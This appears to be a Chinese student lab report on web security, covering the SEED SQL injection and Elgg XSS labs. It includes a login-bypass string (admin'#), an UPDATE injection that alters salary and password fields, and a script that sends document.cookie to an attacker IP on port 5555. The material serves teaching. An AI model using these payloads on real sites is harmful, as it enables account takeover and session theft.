1. 程式人生 > 其它 >20211921 李楚涵 10

20211921 李楚涵 10

知識點
1、 Web應用安全威脅
(1)針對瀏覽器和終端使用者的Web瀏覽安全威脅:網頁木馬、網站釣魚等。
(2)針對傳輸層的網路協議安全威脅:針對HTTP明文傳輸協議的敏感資訊監聽、拒絕服務攻擊等。
(3)系統層安全威脅:Web站點的宿主作業系統。
(4)Web伺服器軟體安全威脅:Web伺服器軟體也存在著漏洞與弱點。
(5)Web資料安全威脅:Web站點中在Web應用程式後臺儲存的關鍵資料內容。
2、Web應用攻擊路線
(1)Web應用資訊收集
(2)攻擊Web伺服器軟體
(3)攻擊Web應用程式
(4)攻擊Web資料內容
(5)本地攻擊
3、攻擊Web應用程式
(1)Web應用程式的不安全性
Web應用程式編碼質量和測試均有限: 安全最薄弱環節。
Web應用的複雜性和靈活性進一步惡化了其安全性。
(2)Web應用程式安全威脅型別
針對認證機制的攻擊:針對用來確認使用者、服務或應用身份機制的攻擊手段。
授權機制的攻擊:針對用來確定使用者、服務或應用是否具有執行請求動作必須許可權機制的攻擊手段。
客戶端攻擊:擾亂或滲透攻擊web站點客戶端使用者的攻擊手段。
命令執行攻擊:在web站點執行遠端命令的攻擊手段。
資訊暴露:獲取web站點具體系統資訊的攻擊手段。
邏輯攻擊:擾亂或滲透攻擊web應用邏輯流程的攻擊手段。
4、SQL注入攻擊原理
SQL注入攻擊是通過操作輸入來修改SQL語句,用以達到執行程式碼對WEB伺服器進行攻擊的方法。簡單的說就是在post/getweb表單、輸入域名或頁面請求的查詢字串中插入SQL命令,最終使web伺服器執行惡意命令的過程
一、SEED SQL注入攻擊與防禦實驗


我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:
熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
SQL對抗:修復上述SQL注入攻擊漏洞。
1)首先登入 MySQL 資料庫,輸入mysql -u root -pseedubuntu


2)使用系統建立好的 Users 資料庫,輸入use Users,然後輸入show tables;,不能忘了分好

3)下面我們使用WHERE子句指令select * from credential where Name='Alice';

4)使用 SEED 訪問已經搭建好的 Web 頁面:www.SEEDLabSQLInjection.com

5)使用快捷鍵ctrl+U檢視該頁面原始碼,點選提交後,表單將使用者輸入的資訊使用get方法提交至unsafe_home.php頁面進行許可權校驗

6)在text 中輸入vim/var/www/SQLInjection/unsafe_home.php,找到核心的SQL語句,其中where部分存在可以進行注入攻擊的漏洞

繞過密碼校驗,直接進入Admin使用者頁面。測試輸入使用者名稱為admin'#
,密碼為空:

7)檢視Alice的id,是10000

首先利用前面的漏洞,用Alice' #登入,可以看到對應的資訊

點選頁面上方的Edit Profile進入更新資訊頁面

在NickName輸入',salary='200'where eid='10000'#

8)從前面的程式碼可以知道,密碼是hash過的,所以我們需要先生成一個hash。這裡選擇了密碼為123456,然後輸入echo -n '123456'|shalsum

9)輸入構造好的語句,修改Password欄位。然後登入,可以成功登入。

二、SEED XSS跨站指令碼攻擊實驗(Elgg)
為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。
釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
彈窗顯示cookie資訊:將cookie資訊顯示。
竊取受害者的cookies:將cookie傳送給攻擊者。
成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
編寫XSS蠕蟲。
對抗XSS攻擊。
1)www.xsslabelgg.com中已有的賬戶資訊【Alice:seedalice】【Boby:seedboby】開啟www.xsslabelgg.com,並以Alice身份登入,點選alice的edit profile


2)點選Edit profile,接著在下面的Brief description文字框輸入以下語句:<script> alert(document.cookie);</script>,點選Save儲存,頁面彈出如下的提示框,點選Save儲存

3)從Boby的頁面彈進入Alice的頁面時彈出出如下的提示框

4)在Alice的個人頁面的Brief description中插入XSS攻擊程式碼。
5)點選save之後,可以看到這個頁面。

6)竊取受害者的cookie。
使用 JS 指令碼動態地在頁面新增一個標籤,同時在標籤的src屬性中嵌入攻擊程式碼,其中本機 192.168.200.3 充當攻擊者,JavaScript將cookies傳送到攻擊者機器的5555埠,若攻擊者的TCP server偵聽同一個埠,則可打印出收到的內容:
<script>document.write('<img src=http://192.168.200.3:5555?c=' + escape(document.cookie) + ' >');</script>


7)成為受害者的朋友
登入使用者為 Alice,然後訪問使用者 Boby 的主頁:http://www.xsslabelgg.com/profile/boby,使用快捷鍵ctrl+shift+E開啟火狐瀏覽器開發者模式中的 Network 頁面,然後點選左側的Add friend,新增 Boby 為好友

8)可以看到此時瀏覽器傳送的 POST 請求的地址

9)可以構造下面的指令碼,用於新增其他好友

10)將指令碼放在 Alice 的About me文字框

11)登入 Boby 訪問 Alice 主頁,返回 Boby 主頁,看到已經成功新增 Alice 為好友。

12)修改受害者資訊
首先看看加朋友都需要幹什麼

在進入Edit profile頁面後,點選Save後,可以看到具體的 Network 請求資訊

13)接下來以Boby身份登入然後訪問Alice的主頁。

編寫XSS蠕蟲,我們將下面的程式放在Alice的about me中。

儲存之後顯示如下:

用 Boby 訪問 Alice,然後返回 Boby,則 Boby 被感染

三、總結與反思
本次實驗理解起來不難,知識點也清晰,學習了web攻擊的基本知識。